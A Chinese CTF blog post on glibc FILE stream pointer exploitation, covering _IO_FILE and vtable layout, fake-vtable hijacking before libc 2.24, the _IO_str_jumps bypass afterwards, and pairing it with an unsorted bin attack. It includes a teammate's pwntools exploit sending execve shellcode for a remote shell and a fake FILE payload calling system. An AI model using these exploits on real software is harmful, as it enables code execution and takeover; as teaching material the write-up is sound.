pwn之文件指针处理

关于pwn的技巧真多。。。其实这个思路是看了队友的poc才知道的

2018.9.9 更新:这个思路也是看了队友的博客才知道的,队友太强了

pwn之文件指针处理(File Stream Pointer Overflow)

攻击原理

每一个文件对象本质上是一个结构体struct _IO_FILE,这个结构体中会记录一些和文件操作相关的变量,其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct _IO_FILE{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
struct _IO_marker * _markers
struct _IO_FILE * _chain // next _IO_FILE
int _fileno // file descriptor
int _flags2
_IO_off_t _old_offset
unsigned short _cur_column
signed char _vtable_offset
char _shortbuf [1]
_IO_lock_t * _lock
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

结构体中的_IO_read*_IO_write*部分会在调用scanf/freadprintf/fwrite这类会利用缓冲区的函数的时候被调用就会利用到这个缓冲区进行读写(此处可pwn)

_chain属性则是连接了下一个strcut _IO_FILE*

所有打开的文件FILE结构都会以链表的形式存储在内存中,链表的头部为_IO_list_all,是libc的全局变量。
当打开一个文件的时候,此时的会从从堆上分配一个区域,用来存放一个包含_IO_FILE结构体的另一个结构体_IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};

这个_OP_jump_t*指针指向了一个函数指针组成的内存区域。不同的文件对象通过填充不同的函数指针,从而实现统一API调用下的不同处理。这边我们看到这个 vtable 的结构体为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define JUMP_INIT(NAME, VALUE) VALUE
const struct _IO_jump_t _IO_file_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

这些函数相当于是在调用read/write/fflush...等函数的时候会利用的指针。

利用方式(libc<=2.23)

通过上面对函数的分析,我们会发现 FILE 在使用过程中,本质上会调用的是函数指针,则如果我们能够通过伪造完整_IO_FILE_plus,然后让fp指针指向我们的fake FILE,并且将其中的vtable指向一个由我们控制的内存区域,在区域中填写我们攻击需要用到的函数地址,就能够实现攻击。

实例

首先看到源代码,非常简单,直接贴处理:

这个读取内容虽然简单,但是正好也是不会把栈的返回值改掉,从代码上看没有canary(其实也没有)顺便注意一下此时的文件打开用的是fopen而不是open:

形式一片大好啊,看起来可以利用一下那个.bss,这里采取伪造文件头指针的方法进行攻击:
首先我们来看一下这个函数:

fflush(stream* FILE)

这个函数会将我们的文件流刷新。然后想到此时我们可以通过伪造vtable的形式进行攻击,于是我们查看一下内存:

红框处即为vtable的值。于是我们通过修改文件指针0xd0+8的位置上的数据,就相当于修改了vtable。我们通过修改其中对应函数的地址,就能在调用该函数的时候跳转到指定位置上(不过呢看到队友直接暴力处理了23333直接全部统一修改成我们指定的地址上),从而执行shellcode。

这里附上大佬队友的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

debug = 0
if debug:
p = process('./pwn1')
else:
p = remote('10.50.1.3', 8888)

store_addr = 0x6010A0
fake_file = p64(0x8000) + '\x00' * 0xd0 #FILE
fake_file += p64(store_addr + 0xd8 + 8) # vtable
fake_file += p64(0x6012c0) * 40
sc = "\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
fake_file += sc

p.recvuntil("enter the secret:")
p.send(fake_file)
#gdb.attach(p)
p.recvuntil("enter your name:")
payload = 'a' * 0xc8 + p64(store_addr)
p.sendline(payload)

p.interactive()

利用方式(libc>=2.24)

从这个版本后,glibc中增加了一个对于 vtable 的检测函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

此时为了保证攻击的进行,只能让 vtable 落在[__start___libc_IO_vtables, __stop___libc_IO_vtables]才行。

所以学习了一个新的姿势,就是使用一些已有的vtable进行攻击

这里介绍的是_IO_str_jumps。其也是struct _IO_jump_t结构体,并且这个结构体中的_IO_OVERFLOW有可以利用的地方。我们这里首先介绍这个漏洞的利用条件
这里介绍的是32bit的程序,所以以下的偏移仅适用于32bit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( fp->_flags & 8 )
return -!v3;
if ( (fp->_flags & 0xC00) == 0x400 )
{
BYTE1(v2) |= 8u;
v13 = fp->_IO_read_end;
fp->_flags = v2;
write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = v13;
fp->_IO_write_ptr = write_ptr;
}
else
{
write_ptr = fp->_IO_write_ptr;
}

这里是flag的确定,为了防止程序陷入到这部分内容,我们可以简单的让flags为0,即可达到这个目的。
然后我们观察之后的逻辑:

1
2
3
4
5
6
7
8
9
10
11
base = fp->_IO_buf_base;
offset = fp->_IO_buf_end - base;
if ( write_ptr - fp->_IO_write_base >= offset + v14 )
{
if ( fp->_flags & 1 )
return -1;
v15 = 2 * offset + 100;
v16 = (char *)(fp->_IO_buf_end - base);
if ( offset > v15 )
return -1;
v8 = ((int (__cdecl *)(unsigned int))fp[1]._IO_read_ptr)(2 * offset + 100);

可以看到,这里会调用一个在fp中的函数,我们看一下实际上是什么:

可以看到,实际上这个地方call的是一个esi+0x98位置的变量。显然这个位置是我们可控的。同时我们通过设置fp->_IO_buf_basefp->_IO_buf_end两个参数,就能够将参数的位置也确定下来。同时注意到,我们需要保证write_ptr - fp ->_IO_write_base >= offset,才能够进入调用流程。

之后我们可以通过让结构体之间发生错位_IO_str_umps的地址根据需要偏移(例如+4,让_IO_OVERFLOW对齐至正常的_IO_FINISH上,从而在调用fclose的时候进入该流程)从而调用这个函数。

与堆(unsorted bin attack)的结合

如果我们此时是一个堆的题目,那么我们可以很容易的触发到这个逻辑:
首先我们介绍一个地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

// 关注这里
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

这个函数会在我们发生_int_malloc_printerr的时候触发,而这个错误其实在堆的相关题目中很容易触发,所以这里优先考虑这个方法。如果要进入这个逻辑的话,那么除了上述提到的条件,我们还要满足

  • fp->mode = -1
  • fp->_IO_write_ptr > fp->_IO_write_base

此时才会进入_IO_OVERFLOW的逻辑。这里给出如果要从这里触发 vtable 的利用方式时,我们需要伪造的 FILE 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
fake_bin = p32(0)						# flags
fake_bin += 'DEAD' * 3 # read*
fake_bin += 'DEAD' * 1 # write
fake_bin += p32(bin_sh) # bypass check write_ptr - fp....
fake_bin += p32(0) # buf start
fake_bin += p32((bin_sh- 100)/2) # buf end
fake_bin += '\x00' * (0x48 - len(fake_bin))
fake_bin += p32(null_ptr) # lock
fake_bin += '\x11' * (0x68 - len(fake_bin))
fake_bin += p32(-1) # mode
fake_bin += '\x00' * (0x94 - len(fake_bin))
fake_bin += p32(vtable) # vtable_to_IO_str_jumps
fake_bin += p32(system_addr) # system_address

但是如何和unsorted bin attack结合呢?关键在于unsorted bin attack 是可以修改**任意地址为unsorted_bin(av)**的,那么此时通过修改_IO_list_all 这个全局变量为unsorted_bin,则此时程序不会崩溃,并且会进入到遍历的逻辑上(也就是会发生一次fp = fp->_chain)。在unsorted_bin(av)中,_chain这个地址指向的是smallbin[5](64bit下是smallbin[4])的存放地址。所以我们可以通过产生smallbin,伪造一个完整的FILE结构体,从而实现一次攻击。

具体的例子可以看pwnhub old_chall

参考博客:
http://blog.hac425.top/2018/01/13/pwn_with_file_part4.html